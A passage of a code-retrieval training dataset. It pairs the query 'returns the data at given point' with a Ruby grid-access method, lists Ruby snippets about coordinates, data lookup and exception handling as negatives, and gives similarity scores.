elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end", "def fix_syntax_errors!\n # 1.34\n # patch_file! \"common/on_actions/00_on_actions.txt\" do |content|\n # content.gsub(/(effect = )\"(.*?)\"/m){ $1 + \"{\" + $2 + \"}\" }\n # end\n end", "def protect_runtime_errors # &block\n\t\tbegin\n\t\t\tyield\n\t\trescue StandardError => e\n\t\t\t# keep execption from halting program,\n\t\t\t# but still output the exception's information.\n\t\t\tprocess_snippet_error(e)\n\t\t\t\n\t\t\tunload(kill:true)\n\t\t\t# ^ stop further execution of the bound @wrapped_object\n\t\tend\n\tend", "def run(args)\n case args.size\n when 1\n @proc.commands['info'].run(%W(info catch))\n when 2\n exception = args[1]\n if args[1] == 'off'\n Debugger.catchpoints.clear if \n confirm('Delete all catchpoints?', false)\n else\n unless @proc.debug_eval_no_errmsg(\"#{exception}.is_a?(Class)\")\n msg \"Warning #{exception} is not known to be a Class\"\n end\n Debugger.add_catchpoint(exception)\n msg \"Catch exception %s.\" % exception\n end\n when 3\n exception = args[1]\n if Debugger.catchpoints.member?(exception)\n Debugger.catchpoints.delete(exception)\n msg \"Catch for exception %s removed.\" % exception\n else\n errmsg \"Catch for exception %s not found.\" % exception\n end\n end\n end", "def build_else(raise_on_error=true)\n if raise_on_error\n @code << <<-CODE\n\t\t\t\telse\n\t\t\t\t\traise NotAllowedTokenError.new(@scanner.current,#{@name})\n\t\t\tCODE\n end\n @code << \"\\nend\\n\"\n @else = \"\"\n end", "def safely(&block)\r\n begin\r\n yield\r\n rescue Exception => e\r\n if e.message =~ /connection was aborted/\r\n puts \" [yp searcher] Error: #{e} #{e.message}. Continuing.\"\r\n end\r\n end\r\n end", "def throws_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 12)\n return_value = ThrowsSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal58 = nil\n char_literal60 = nil\n id59 = nil\n id61 = nil\n\n tree_for_string_literal58 = nil\n tree_for_char_literal60 = nil\n stream_T__80 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__80\")\n stream_T__79 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__79\")\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule id\")\n begin\n # at line 182:4: 'throws' id ( ',' id )*\n string_literal58 = match(T__79, TOKENS_FOLLOWING_T__79_IN_throws_spec_1004) \n if @state.backtracking == 0\n stream_T__79.add(string_literal58)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_throws_spec_1006)\n id59 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id59.tree)\n end\n # at line 182:16: ( ',' id )*\n loop do #loop 26\n alt_26 = 2\n look_26_0 = @input.peek(1)\n\n if (look_26_0 == T__80) \n alt_26 = 1\n\n end\n case alt_26\n when 1\n # at line 182:18: ',' id\n char_literal60 = match(T__80, TOKENS_FOLLOWING_T__80_IN_throws_spec_1010) \n if @state.backtracking == 0\n stream_T__80.add(char_literal60)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_throws_spec_1012)\n id61 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id61.tree)\n end\n\n else\n break #loop 26\n end\n end\n # AST Rewrite\n # elements: T__79, id\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 182:28: -> ^( 'throws' ( id )+ )\n # at line 182:31: ^( 'throws' ( id )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_T__79.next_node, root_1)\n\n # at line 182:42: ( id )+\n unless stream_id.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_id.has_next?\n @adaptor.add_child(root_1, stream_id.next_tree)\n\n end\n\n stream_id.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 12)\n\n end\n \n return return_value\n end", "def abort_on_exception(*) end", "def x\n # ...\nrescue\n # ...\nend", "def lex_catch\n\n return false if @input.eql?(nil) #retorna si la entrada se acabo, con false\n\n @input.match(/\\A\\s*(\\$\\$.*|\\$-(.|\\n)*-\\$|\\n|)\\s*/) #ignora los espacios y saltos de linea\n aux = $&\n if $& =~ /-\\$/\n lex_ignore(($`+$&).length)\n return lex_catch\n else\n lex_ignore(aux.length)\n end\n @input.match(/\\A(\\w|\\p{punct})*/) #Busca la proxima palabra\n if !$&.length.eql?0\n nphrase = @input[0..($&.length-1)] #Se tokeniza si no estamos en comentario\n nct = LexicographError #Se define una var con el nombre de la clase\n ntt = nphrase #Consigo el texto para esa clase\n\n if !nphrase.eql?0\n $tokens.each { |key, value|\n if nphrase =~ value #Sino busca con quien hacer match en las regexp\n nct = \"Tk#{key}\"\n ntt = $&\n nct = Object::const_get(nct) #Debe buscar la clase en todos los objetos correspondiente al string que se localizo\n break\n end\n }\n newtk = nct.new(ntt,@line,@column) # se crea la nueva instancia de la clase\n end\n end\n if !ntt.eql?nil\n lex_ignore(ntt.length)\n if newtk.is_a? LexicographError \n @errors << newtk #Si es un error se guarda en este arreglo\n raise newtk \n else\n @tokens << newtk #Sino en este, por ser token\n return newtk\n end\n end\n end", "def format_compile_error(file_name, file_path, reason,\n line, cursor); EMPTY; end", "def catch_selector\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n return_value = CatchSelectorReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __ID52__ = nil\n string_literal53 = nil\n string_literal55 = nil\n expression54 = nil\n expression56 = nil\n\n tree_for_ID52 = nil\n tree_for_string_literal53 = nil\n tree_for_string_literal55 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 359:5: ID ( 'if' expression | 'unless' expression )?\n __ID52__ = match( ID, TOKENS_FOLLOWING_ID_IN_catch_selector_2376 )\n if @state.backtracking == 0\n\n tree_for_ID52 = @adaptor.create_with_payload( __ID52__ )\n @adaptor.add_child( root_0, tree_for_ID52 )\n\n end\n # at line 360:5: ( 'if' expression | 'unless' expression )?\n alt_11 = 3\n look_11_0 = @input.peek( 1 )\n\n if ( look_11_0 == IF )\n alt_11 = 1\n elsif ( look_11_0 == UNLESS )\n alt_11 = 2\n end\n case alt_11\n when 1\n # at line 360:7: 'if' expression\n string_literal53 = match( IF, TOKENS_FOLLOWING_IF_IN_catch_selector_2384 )\n if @state.backtracking == 0\n\n tree_for_string_literal53 = @adaptor.create_with_payload( string_literal53 )\n root_0 = @adaptor.become_root( tree_for_string_literal53, root_0 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_catch_selector_2391 )\n expression54 = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression54.tree )\n end\n\n when 2\n # at line 361:7: 'unless' expression\n string_literal55 = match( UNLESS, TOKENS_FOLLOWING_UNLESS_IN_catch_selector_2399 )\n if @state.backtracking == 0\n\n tree_for_string_literal55 = @adaptor.create_with_payload( string_literal55 )\n root_0 = @adaptor.become_root( tree_for_string_literal55, root_0 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_catch_selector_2402 )\n expression56 = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression56.tree )\n end\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end# syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n case return_value.tree.token.type\n when IF then return_value.tree.token.type = POST_IF\n when UNLESS then return_value.tree.token.type = POST_UNLESS\n end\n\n # <-- action\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n end\n \n return return_value\n end", "def else!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n\n\n type = ELSE\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 222:7: 'else'\n match( \"else\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n\n end", "def try_operation(&block)\n log = \"\"\n begin\n yield(log)\n rescue Exception => e\n log << e.message + '\\n'\n success = false\n return success, log\n end\nend", "def do_it(code)\n eval(code)\nrescue \n puts \"Cannot do it!\"\nend", "def for_broke(ci)\n begin\n ci.run\n\n rescue HaltState\n # nop\n rescue err\n puts err.message\n puts 'should not have got this'\n end\nend", "def header(&block)\n puts \"This is our hedaer\"\n block.call\nrescue\n puts \"This is where we would rescue an error.\"\nensure\n puts \"This is our footer.\"\nend", "def original_exception; end", "def backtrace_cleaner; end", "def parse_codeblock; end", "def check_misplaced_return(stmts)\n stmts.each do |stmt|\n case stmt\n when If\n check_misplaced_return(stmt.then_stmts)\n check_misplaced_return(stmt.else_stmts)\n when For\n check_misplaced_return(stmt.body_stmts)\n when Return\n raise \"cannot return from main\"\n end\n end\n end", "def catch_phrase; end", "def catch_phrase; end", "def throws_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n return_value = ThrowsSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal58 = nil\n char_literal60 = nil\n id59 = nil\n id61 = nil\n\n tree_for_string_literal58 = nil\n tree_for_char_literal60 = nil\n stream_T__80 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__80\" )\n stream_T__79 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__79\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n begin\n # at line 173:4: 'throws' id ( ',' id )*\n string_literal58 = match( T__79, TOKENS_FOLLOWING_T__79_IN_throws_spec_999 )\n if @state.backtracking == 0\n stream_T__79.add( string_literal58 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_throws_spec_1001 )\n id59 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id59.tree )\n end\n # at line 173:16: ( ',' id )*\n while true # decision 26\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == T__80 )\n alt_26 = 1\n\n end\n case alt_26\n when 1\n # at line 173:18: ',' id\n char_literal60 = match( T__80, TOKENS_FOLLOWING_T__80_IN_throws_spec_1005 )\n if @state.backtracking == 0\n stream_T__80.add( char_literal60 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_throws_spec_1007 )\n id61 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id61.tree )\n end\n\n else\n break # out of loop for decision 26\n end\n end # loop for decision 26\n # AST Rewrite\n # elements: T__79, id\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 173:28: -> ^( 'throws' ( id )+ )\n # at line 173:31: ^( 'throws' ( id )+ )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_T__79.next_node, root_1 )\n\n # at line 173:42: ( id )+\n stream_id.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_id.has_next?\n @adaptor.add_child( root_1, stream_id.next_tree )\n\n end\n stream_id.reset\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n end\n \n return return_value\n end" ]
[ "0.7351828", "0.715183", "0.63941544", "0.63938165", "0.6237953", "0.61896646", "0.60590124", "0.60400766", "0.6012873", "0.5948162", "0.58561623", "0.58211255", "0.57986385", "0.57661474", "0.5625289", "0.55531716", "0.5535168", "0.5517831", "0.5500568", "0.549377", "0.5380471", "0.5376135", "0.53334844", "0.53308964", "0.5213815", "0.52104765", "0.51803744", "0.5129786", "0.5102782", "0.5096167", "0.50950676", "0.5088726", "0.5051539", "0.4958207", "0.49012652", "0.4871591", "0.4870097", "0.48661542", "0.48544562", "0.48456433", "0.48444107", "0.48416638", "0.48289526", "0.4828168", "0.48057342", "0.47981077", "0.4788504", "0.47881034", "0.4785701", "0.4778013", "0.47668275", "0.47664207", "0.4765544", "0.4756591", "0.4752274", "0.4751129", "0.47294253", "0.4712544", "0.47017515", "0.46891955", "0.46865475", "0.46659055", "0.4656372", "0.46443567", "0.46436062", "0.46365094", "0.46305224", "0.46294415", "0.46291628", "0.46275407", "0.46226364", "0.46226364", "0.4622043", "0.46116182", "0.45751512", "0.4563738", "0.4552999", "0.45506033", "0.45449546", "0.4519535", "0.45187545", "0.45173657", "0.4514338", "0.45051998", "0.44921932", "0.44913062", "0.44892853", "0.4487062", "0.4477545", "0.44663", "0.4462888", "0.4462615", "0.44510117", "0.44493258", "0.4447877", "0.44424266", "0.44407144", "0.44364372", "0.44319516", "0.44319516", "0.44307363" ]
0.0
-1
returns the data at given point
def get(x,y) # Translate, bottom left ist 0,0 y = (height-1) - y @data[y][x] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def [](point)\n @array[point.first][point.last]\n end", "def get_data_at(index)\n $test_logger.log(\"Get data from location #{index}\")\n raise \"No data available\" if !@data\n raise \"No data found at index '#{index}'\" if @data.length<index+1 \n BioPacket.swap_dword(@data[index])\n end", "def weather_data_point(datetime)\n @weather_data_points.each do |point|\n return point if point.created_at >= datetime\n end\n\n @weather_data_points.last\n end", "def x\n @point[0]\n end", "def get_at(point)\n board[coords_to_pos(point)]\n end", "def xy() @records.get_data(GRT_XY); end", "def y\n @point[1]\n end", "def [](x, y)\n return 0 if !(x-y).between?(-@bandwidth,@bandwidth)\n return @data[y][@bandwidth+x-y]\n end", "def read_at (pos)\r\n @data[pos]\r\n end", "def x\n @data[:x]\n end", "def load_at(point)\n @load_curve[point]\n end", "def get_point\n p = nil\n @m.synchronize{\n p = @p[0]\n @p.delete_at(0)\n }\n return p\n end", "def points(name, since=nil)\n stats = query(name, since)\n datapoints = stats[:datapoints]\n\n points = []\n count = 1\n\n (datapoints.select { |el| not el[0].nil? }).each do |item|\n points << { x: count, y: get_value(item)}\n count += 1\n end\n\n return points\n end", "def points\n @data['points'].to_i\n end", "def index2point(x)\n\t\treturn (@tam_ancho/2-x)\n\tend", "def get_point(pos)\n @grid[pos[0]][pos[1]]\n end", "def get(x, y)\r\n\t\t\tif x<@dims && y<@dims\r\n\t\t\t\t@data[(@dims*x)+y]\r\n\t\t\telse\r\n\t\t\t\tfail \"Unable to retrieve more than dimensions.\"\r\n\t\t\tend\r\n\t\tend", "def point(x,y)\n [x,y]\nend", "def fetchValue(data, x, y)\n if data.has_key?(x) and data[x].has_key?(y)\n return data[x][y]\n else\n return 0\n end\nend", "def get_coord\n @single_city_data['coord']\n end", "def pixel_at x, y\n pixel_base = 3 * (@width * y + x)\n (0..2).map {|i| @data[ pixel_base + i] }\n end", "def value(name, since=nil)\n stats = query(name, since)\n last = (stats[:datapoints].select { |el| not el[0].nil? }).last\n return get_value(last)\n end", "def [](x, y)\n return @data[\"#{x},#{y}\"] || 0\n end", "def y\n @data[:y]\n end", "def [](x, y)\n fail OutOfRange unless check_range(x, y)\n data[index(x, y)]\n end", "def get_measured_points\n measured_points.points\n end", "def points\n @obj['points']\n end", "def xy_record() @records.get(GRT_XY); end", "def value_at(row, col)\n row = convert_indicies(row, self.rows)\n col = convert_indicies(col, self.cols)\n return @data.get(row.first, col.first)\n end", "def get_data(key) \n return @data[key]\n end", "def datapoint\n # DLM: should this come from the OSW? the osd id and checksum are specified there.\n osd_abs_path = File.join(osw_dir, 'datapoint.osd')\n result = nil\n if File.exist? osd_abs_path\n result = ::JSON.parse(File.read(osd_abs_path), symbolize_names: true)\n end\n return result\n end", "def datapoint\n # DLM: should this come from the OSW? the osd id and checksum are specified there.\n osd_abs_path = File.join(osw_dir, 'datapoint.osd')\n result = nil\n if File.exist? osd_abs_path\n result = ::JSON.parse(File.read(osd_abs_path), symbolize_names: true)\n end\n return result\n end", "def get(data_set_name, x)\n data_set = @data[data_set_name]\n if data_set.nil? \n return nil\n end\n data_set[x]\n end", "def get x, y\n @pixels[pixel(x,y)]\n end", "def data\n @location.full_data[:daily][:data][@days_from_current]\n end", "def get_value(data, start, size, slots=1)\r\n @tag = data.u1(start)\r\n @size = size\r\n @slots = slots\r\n\r\n data[start+1..start+size-1]\r\n end", "def interpolate_at(p)\n\t\tn = near_to(p)[0..1]\n\t\treturn nil if n.size < 1\n\t\treturn n[0].data\n\n\t\t# Check if we have a datapoint at the desired location\n\t\tif n[0].distance_sq_to(p) < 1e-10\n\t\t\treturn n[0].data\n\t\tend\n\n\t\t# Weighed average of each element of data with weight as 1/distance^2\n\t\tw = n.map{|x| 1.0/x.distance_sq_to(p)}\n\t\tw_sum = w.inject(0.0){|sum, wi| sum += wi}\n\t\tweighed_data = n.zip(w).map{|e, wi| e.data.map{|x| x * wi / w_sum}}\n\t\taverage = weighed_data.transpose.map{|x| x.inject(0.0, :+)}\n\t\treturn average\n\tend", "def value\n all_datapoints.select{ |row| ! row[1].nil? }.last[1] || 0\n end", "def cast_to_datapoint(measurement, at=Time.now())\n @logger.debug \"cast_to_datapoint(#{measurement.inspect})\"\n if measurement.is_a?(Xively::Datapoint)\n return measurement\n elsif measurement.is_a?(Hash)\n raise \"The datapoint hash does not contain :at\" unless measurement[:at]\n raise \"The datapoint hash does not contain :value\" unless measurement[:value]\n return Xively::Datapoint.new(measurement)\n else\n return Xively::Datapoint.new(:at => at, :value => measurement.to_s)\n end\n end", "def point(latitude, longitude, srid: 4326)\n st_point = <<~sql\n DECLARE @point geography = geography::STPointFromText('POINT(#{longitude} #{latitude})', #{srid});\n SELECT @point as point;\n sql\n db.fetch(st_point).first[:point]\n end", "def get(x,y)\n row = @rows[y]\n if row == nil\n nil\n else\n # puts \"GLayer.get got a row: #{row.inspect} and the value is #{row[x]}\"\n row[x]\n end\n end", "def points\n db[:points]\n end", "def ax\n points[0][0]\n end", "def data\n @datas\n end", "def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end", "def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end", "def value\n data[1]\n end", "def point_code\n @payload.fetch('point')\n end", "def get_xdata\n\t\txData = []\n\t\t@f.each_line do |line|\n\t\t\txData << line.split(\" \")[0].to_f\n\t\tend\n\t\txData\n\tend", "def [](x)\n @data[x]\n end", "def point_array(point)\n [point[:path] || raise,\n point[:value] || raise,\n point.fetch(:ts, nil),\n point.fetch(:source, HOSTNAME),\n point[:tags] && point[:tags].to_wf_tag,\n opts[:tags] && opts[:tags].to_wf_tag]\n end", "def point_to_index(x,y)\n return (x*(bpp >> 3))+(y*((bpp >> 3)*(width)))\n end", "def distance2_to(data_point)\n [@coordinates,data_point.coordinates].transpose.map{|arr| arr.inject{|sum, coordinate| (sum - coordinate)**2}}.inject(:+)\n end", "def points()\n\t\t\tfilter()\n\t\t\treturn @points_floor + @points_ceil.reverse\n\t\tend", "def data\n @data_t\n end", "def get_point\n @@points[Inventory.kinds[self.kind]]\n end", "def [](x, y)\n validate_x_y_coords(x, y)\n @pixels[y - 1][x - 1]\n end", "def set_datapoint\n @datapoint = Datapoint.find(params[:id])\n end", "def set_datapoint\n @datapoint = Datapoint.find(params[:id])\n end", "def read(y, x)\n cy, cx = Vedeu::Geometry::Position[y, x].as_indices\n\n row = fetch(cells, cy)\n cell = fetch(row, cx)\n\n cell\n end", "def sub(point)\r\n new_point = Marshal.load(Marshal.dump(self))\r\n new_point.x = @x - point.x\r\n new_point.y = @y - point.y\r\n return new_point\r\n end", "def get_points(query, from, to)\n @metric_svc.get(query, from, to)\n end", "def get_data\n white_x = Shared::interpret_bytes_4(@data[0..3].unpack(\"C*\"))/100000.0\n white_y = Shared::interpret_bytes_4(@data[4..7].unpack(\"C*\"))/100000.0\n red_x = Shared::interpret_bytes_4(@data[8..11].unpack(\"C*\"))/100000.0\n red_y = Shared::interpret_bytes_4(@data[12..15].unpack(\"C*\"))/100000.0\n green_x = Shared::interpret_bytes_4(@data[16..19].unpack(\"C*\"))/100000.0\n green_y = Shared::interpret_bytes_4(@data[20..23].unpack(\"C*\"))/100000.0\n blue_x = Shared::interpret_bytes_4(@data[24..27].unpack(\"C*\"))/100000.0\n blue_y = Shared::interpret_bytes_4(@data[28..31].unpack(\"C*\"))/100000.0\n return [white_x, white_y,\n red_x, red_y,\n green_x, green_y,\n blue_x, blue_y]\n end", "def get_point_position(index)\n MSPhysics::Newton::CurvySlider.get_point_position(@address, index)\n end", "def get_point_position(index)\n MSPhysics::Newton::CurvySlider.get_point_position(@address, index)\n end", "def get_element_at column, row\n raise OutOfRangeError if column >= @data.size || row >= @data.size\n @data[column] * @data[row]\n end", "def read_data_byte(offset) [offset + 1, get_byte(offset)] end", "def point_x\n self.coord.split(\"_\")[0]\n end", "def [] (index)\n if (@points.length == 0)\n raise \"cannot get any points from an empty polygon\"\n end\n while (index < 0)\n index += @points.length\n end\n while (index > @points.length - 1)\n index -= @points.length\n end\n @points[index]\n end", "def get_data series_id\n\t\traw_output = @fred.series( 'observations', series_id: series_id.to_s)\n\n\t\traw_output.observations.observation\n\tend", "def get_metric m, start=nil, stop=nil, step=nil\n\t\ttest_file\n\n\t\tdata = []\n\t\tFile.open(@file).each_line do |line|\n\t\t\tx, y = line.split(@delimiter)\n\t\t\tdata << {x: x.to_i, y: y.to_f} if x.to_i.between?(start, stop)\n\t\tend\n\n\t\traise Store::Error, \"No data for #{m.metric_id} within selected time period\" if data == []\n\n\t\treturn data_sanitize data, start, stop, step\n\n end", "def fetch(options={})\n requires :metric\n options[:from] ||= (Time.now.to_i * 1000) - (3600 * 1000)\n options[:to] ||= Time.now.to_i * 1000\n options[:points] ||= 1 unless options[:resolution]\n if options[:resolution]\n options[:resolution] = options[:resolution].upcase\n end\n data = service.list_data_points(metric.check.entity.id, metric.check.id, metric.name, options).body['values']\n load(data)\n end", "def distance2_to(data_point)\n [@coordinates,data_point.coordinates].transpose.map do\n |arr| arr.inject { |sum, coordinate| (sum - coordinate)**2 }\n end.inject(:+)\n end", "def value\n data[ address ]\n end", "def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend", "def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend", "def []( index )\n case index\n when 0\n @x\n when 1\n @y\n else\n nil\n end\n end", "def point_location(point)\n # origin tile at maximum zoom\n hizoom_origin_tile = @origin_tile.zoom_to(Coordinate::MAX_ZOOM)\n\n # distance in tile widths from reference tile to point\n tiles_distance = relative_point(point) / [@tile_width, @tile_height]\n\n # distance in rows & columns at maximum zoom\n distance = Coordinate.new(tiles_distance.x, tiles_distance.y, zoom).zoom_to(Coordinate::MAX_ZOOM)\n distance.z = 0\n\n # absolute tile at maximum zoom\n tile = (hizoom_origin_tile + distance).round!\n tile = tile.zoom_to(zoom)\n\n location = projection.coordinate_location(tile)\n return location\n end", "def lat\n @position[0]\n end", "def color_at(point)\n point = SugarCube::CoreGraphics::Point(point)\n point.x *= self.scale\n point.y *= self.scale\n\n # First get the image into your data buffer\n cgimage = self.CGImage\n width = CGImageGetWidth(cgimage)\n height = CGImageGetHeight(cgimage)\n bytes_per_pixel = 4\n bits_per_component = 8\n bytes_per_row = bytes_per_pixel * width\n @raw_data || begin\n color_space = CGColorSpaceCreateDeviceRGB()\n @raw_data = Pointer.new(:uchar, height * width * 4)\n context = CGBitmapContextCreate(@raw_data, width, height, bits_per_component, bytes_per_row, color_space, KCGImageAlphaPremultipliedLast | KCGBitmapByteOrder32Big)\n\n CGContextDrawImage(context, CGRectMake(0, 0, width, height), cgimage)\n end\n\n # Now @raw_data contains the image data in the RGBA8888 pixel format.\n xx = point.x.round\n yy = point.y.round\n byte_index = (bytes_per_row * yy) + xx * bytes_per_pixel\n red = @raw_data[byte_index]\n green = @raw_data[byte_index + 1]\n blue = @raw_data[byte_index + 2]\n alpha = @raw_data[byte_index + 3]\n return [red, green, blue].uicolor(alpha / 255.0)\n end", "def find_points(field, data = nil)\n points = 0\n self[field].each do |accumulator, commande|\n value = commande.call(data)\n next if value.nil?\n points = accumulator ? points + value : value\n end\n points\n end", "def point(index)\n return [index % Grid::MaxCol, index / Grid::MaxCol]\n end", "def records\n @points\n end", "def point_from\n points.find { |point| point.kind == \"From\" }\n end", "def get_first_point\n @points.each do |pt|\n @points.delete(pt)\n return pt\n end\n end", "def get(qty = -1)\n @data[0..qty - 1]\n end", "def get_arr_x(x, y) \n x # this coordinate doesn't change\nend", "def value(); self.data.value; end", "def point\n x = []\n y = []\n case geometry.type\n when 'MultiPolygon'\n coordinates.each { |list| append_list list, x, y }\n when 'LineString'\n append coordinates, x, y\n when 'Point'\n x << coordinates.first\n y << coordinates.last\n else\n append_list coordinates, x, y\n end\n lon = x.reduce(&:+) / x.size\n lat = y.reduce(&:+) / y.size\n [lon.round(7), lat.round(7)]\n end", "def get_data_point_number(identifier, tag, opts = {})\n data, _status_code, _headers = get_data_point_number_with_http_info(identifier, tag, opts)\n return data\n end", "def normal_matrix_at_point(point)\n MSPhysics::Newton::CurvySlider.get_normal_martix_at_point(@address, point)\n end", "def coordinate \n @coordinate\n end", "def parse_points\n points = Array.new\n begin\n file = File.open(\"../data/data_points.txt\", \"r\") do |f|\n f.each do |line|\n arr = line.split(\",\")\n points.push(ChunkyPNG::Point.new(arr[0], arr[1]))\n end\n f.close\n File.delete(f)\n end\n rescue \n return nil\n end\n return points\n end", "def getStartPoint()\n geoObject().firstPoint() ;\n end", "def data_value()\n (single_data_value?) ? @data.value[0] : @data.value\n end", "def [] x, y = nil\n if y.nil?\n @data[x]\n else\n if x.kind_of? Range\n @data[x].transpose[y]\n else\n @data[x][y]\n end\n end\n end", "def read( addr )\n row_idx, col_idx = address_to_indices( addr )\n return nil if row_idx > rows\n @data[ row_idx-1 ][ col_idx-1 ]\n end", "def data\r\n @data\r\n end", "def sample(x, skip_cache = false)\n # Loop over points and compute contribution\n # from each. Stdev is @bandwidth\n y = 0.0\n\n return @cache[x] if !skip_cache && @cache[x]\n\n @points.each do |mean|\n y += (1.0 / (@bandwidth * Math.sqrt( TWO_PI ))) *\n Math.exp( -1 * ((x - mean) ** 2) / (2 * @bandwidth ** 2) )\n end\n\n # puts \"x bounds: #{@min}, #{@max}\"\n # puts \"Sample at #{x} = #{y}\"\n\n @cache[x] = y\n return y / @points.length\n end", "def points; end" ]
